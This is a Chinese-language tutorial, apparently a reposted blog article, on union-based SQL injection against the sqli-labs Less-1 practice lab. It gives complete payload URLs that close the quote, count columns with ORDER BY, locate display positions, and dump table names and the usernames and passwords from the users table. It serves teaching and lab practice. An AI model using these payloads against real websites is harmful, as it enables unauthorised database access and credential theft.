栏目分类:
子分类:
返回
文库吧用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
文库吧 > IT > 软件开发 > 后端开发 > Java

SQL联合注入

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SQL联合注入

目录
  • 前言
  • 一,联合注入前提
    • 什么是回显?
  • 二,基本流程
  • 三,实战注入过程
    • 1,判断注入点
    • 2,order by判断表中列的数量
    • 3,使用union,确认显示位
    • 4,获取数据库信息:
      • 0x01获取数据库名:
      • 0x02获取数据库表名:
      • 0x03获取数据库表中所有字段:
      • 0x04获取字段中的数据:


前言

本文使用靶场为sqli-labs less-1;


一,联合注入前提

页面上有回显

什么是回显?

在一个网站页面,客户端将服务端执行SQL语句查询数据库中的数据展示在页面中,那么这个页面就存在回显


二,基本流程
  1. 判断注入点
  2. 使用order by推断字段数,即表中列的数量
  3. 使用union,确认显示位,即会显示的字段
  4. 获取数据库信息:数据库名>数据库表名>数据库表中所有字段>字段中数据

三,实战注入过程 1,判断注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

将id的参数改为2,id=2,发现页面有变化
http://127.0.0.1/sqli-labs-master/Less-1/?id=2

可以判断此页面与数据库进行了交互,任何与数据库产生交互的地方,都可能存在注入,接下来,我们利用and 1=1(判断的是整型参数)来判断是否存在注入点。

首先:

我们尝试在url后面加一个’
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
页面返回我们存在有语法错误:

显然是因为单引号引起的报错,结合报错信息,我们猜测后端执行的sql语句为:

select * from xxx where id=$id limit 0,1;


然后:
我们再尝试在url后面加"
http://127.0.0.1/sqli-labs-master/Less-1/?id=1"
发现页面返回正常,
因为单引号报错,而双引号正常,我们可以进一步猜测id这个参数是被单引号包裹了。
所以SQL语句应该是:

select * from xxx where id='$id' limit 0,1;
因为当我们输入单引号号时,会和'$id'前面的单引号闭合,就像' ' '
而输入双引号时,不会闭合,不仅双引号,输入别的也不会报错

那么我们就只需要将前面的单引号闭合,再将后面的语句注释掉,中间就可以插入我们想要执行的SQL语句了,代码如下:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+
--起到的作用就是注释后面的语句,而+的意义是空格
在--注释时,需要使用空格,才能形成有效的sql语句
而使用-- (有个空格),在传输过程中空格会被忽略,所以要使用+来代替
2,order by判断表中列的数量

因为在联合查询中,我们会使用union select来将两条查询语句拼接起来,但是前后两个select语句返回的字段数必须相同,否则无法拼接。
order by原本的用途是排序,order by x(x为一个数字),就会按照表中第x个字段进行重新排序。如果一个表的字段数只有10,但是我们用order by 11也就是,把第11个字段去排序,而数据库中并不存在第11字段,所以会报错。
而我们可以利用这个特点去猜字段数(一般使用二分的思路来判断)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 10--+//页面返回错误
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 5--+//页面返回错误
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 3--+//页面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 4--+//页面返回错误
3,使用union,确认显示位

由此可以判断,表中一共3个字段。
然后我们再来判断显示位(能够注入出数据的地方)

url:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
在后端sql执行命令:
select * from xxx where id='-1' union select 1,2,3--+' limit 0,1;
注意:这里的id=1改成了id=-1;
这是因为有时网页往往只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,
才能让后面的第二个select语句回显出数据,也就是我们自己要执行的攻击语句。

运行结果:

可以看到2,3是回显位;

4,获取数据库信息: 0x01获取数据库名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
database()函数作用是:返回默认或当前数据库的名称

数据库名为:security

0x02获取数据库表名:

已经获取到数据库名为:security

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
1,group_concat()函数作用是将多条数据合并显示为一条
2,MYSQL在5.0版本后会多出一张系统数据库(information_schema)其他数据库的库名,表名,字段名等信息都可以在这个数据库中查询到
3,(information_schema.tables:表示所有表的信息)
sql语句作用是:从information_schema.tables的所有表的信息中找到数据库名为"security"的所有表名

获取了四个表名:emails,referers,uagents,users;
发现了一个重要的表:users(用户)通常用户的账号和密码会存放在这个表当中;

0x03获取数据库表中所有字段:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
1,(information_schema.columns:表示所有字段的信息)
2,column_name:列的名称
sql语句的作用是,从information_schema.columns中找到数据库security中的users表中所有字段

0x04获取字段中的数据:

查询username的值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+
意思是获取数据库security中的users表中的username字段

查询password的值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users--+
意思是获取数据库security中的users表中的password字段

账号密码已经获取,end。

转载请注明:文章转载自 www.wk8.com.cn
本文地址:https://www.wk8.com.cn/it/1039809.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 wk8.com.cn

ICP备案号:晋ICP备2021003244-6号